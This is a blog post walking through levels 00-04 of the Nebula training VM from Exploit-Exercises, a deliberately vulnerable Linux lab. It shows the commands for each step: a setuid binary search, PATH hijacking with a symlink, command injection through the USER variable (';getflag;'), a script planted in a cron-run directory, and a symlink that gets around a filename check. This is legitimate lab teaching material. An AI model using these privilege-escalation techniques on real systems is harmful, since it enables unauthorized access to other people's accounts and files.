Thursday, May 28, 2015

Exploit-Exercises: Nebula (Levels 00-04)

Introduction


I'd like to begin this post by introducing you to a great site called Exploit Exercises. This site currently has 4 different virtual machines to help you practice your hacking skills. These VM's test your knowledge of various topics including Linux privilege escalation, binary exploitation, and some reverse engineering. Each machine has a theme, and is broken up into multiple challenges. This post will be focusing on Nebula, which covers various weaknesses and vulnerabilities in Linux. Let's begin!

NOTE: The purpose of each challenge in the Nebula VM is to run the system command "getflag" as a flagXX user.

Level 00

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories. Alternatively, look at the find man page.

To access this level, log in as level00 with the password of level00.

So by looking at the find man page, we can see all of the possible options for us to specify. But which ones? Let's think about what we know about the file we're looking for:
  • It's a file
  • It's a Set User ID program
  • It's executable
  • It will run as flag00
With all of this information, we can construct the following command:
level00@nebula:~$ find / -type f -executable -user flag00 -perm /u+s 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
Let's try the first file:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flagg00@nebula:~$ getflag
You have successfully executed getflag on a target account

Score! But before we move onto the next challenge, let's break down the find command we created.
"/": tells the machine to start in the root, or top directory
"-type f": tells it that we're looking for a file
"-executable": no big surprise here, we're looking for an executable file
"-user flag00": looks for files owned by flag00
"-perm /u+s": tells us to look specifically for files with the setuid bit set
"2>/dev/null": this just tells the machine to redirect all errors to /dev/null so we don't see them

Level 01

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
(level1.c)
int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

There are two things to take note of in this program. First is that it takes in the environment as an argument. Second is that it uses /usr/bin/env to execute the echo command.

/usr/bin/env looks in the PATH variable to find a specified program that its been asked to run. Thankfully for our sake, it's extremely easy to edit the PATH variable. So here's how we're going to exploit this:

  • First we'll create a symbolic link called "echo" in our home directory that points to the getflag command
  • Next we'll update our PATH to include the location of our symbolic link
  • Finally we'll run the vulnerable program.
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01 
You have successfully executed getflag on a target account

Level 02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
(level2.c)
int main(int argc, char **argv, char **envp)
{
  char *buffer;
  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

  printf("about to call system(\"%s\")\n", buffer);
  system(buffer);
}
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

We're executing a system command again, and we're passing an environment variable named USER into a buffer. We'll have to get a little creative here though, because we're executing /bin/echo USER is cool. So we'll have to find a way to insert our own command in there. In bash, you can just end a command with a semicolon and then begin a new one. If we set the USER environment variable to ";getflag;" then we'll basically be echoing nothing and then running getflag (and then is cool will return an error). Let's try it!
level02@nebula:~$ export USER=";getflag;"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ;getflag; is cool")

You have successfully executed getflag on a target account
sh: is: command not found
Boom! Roasted! Onto the next one...

Level 03

Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.

To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

When we look in the /home/flag03 directory, there are two important items. The first is a writable directory called writable.d. The second is a bash script called writable.sh with the following contents:
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
Here's a quick analysis of the bash script. First, we loop through everything inside the writable.d directory. For each item we find, we execute it as a script and then delete it. If we let the script run from a cron job, it will run as the flag03 user, so all we have to do is create a bash file that runs getflag and stores the result in a file! We'll write the following short bash script in our home directory:
#!/bin/sh
/bin/getflag >> /tmp/flag03.txt
Copy this bash file into the writable.d directory and wait a few minutes for the cron job to run. After 5 minutes or so, check the contents of /tmp/flag03.txt and you should find the text that we've come to expect by now:
You have successfully executed getflag on a target account

Level 04

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
(level4.c)
int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

This is a pretty easy one. The script only checks the name of the file we want to read. Unfortunately, we can't rename the token file. However, we can just create a symbolic link like we did before! We just have to make sure that the name of our symbolic link doesn't contain the string "token".
level04@nebula:~$ ln -s /home/flag04/token sneaky
level04@nebula:~$ /home/flag04/flag04 sneaky
06508b5e-8909-4f38-b630-fdb148a848a2

Bingo! With that, I'll wrap up this post, but you can expect to see the next five Nebula challenges here within the next few days. Happy Hacking!

No comments:

Post a Comment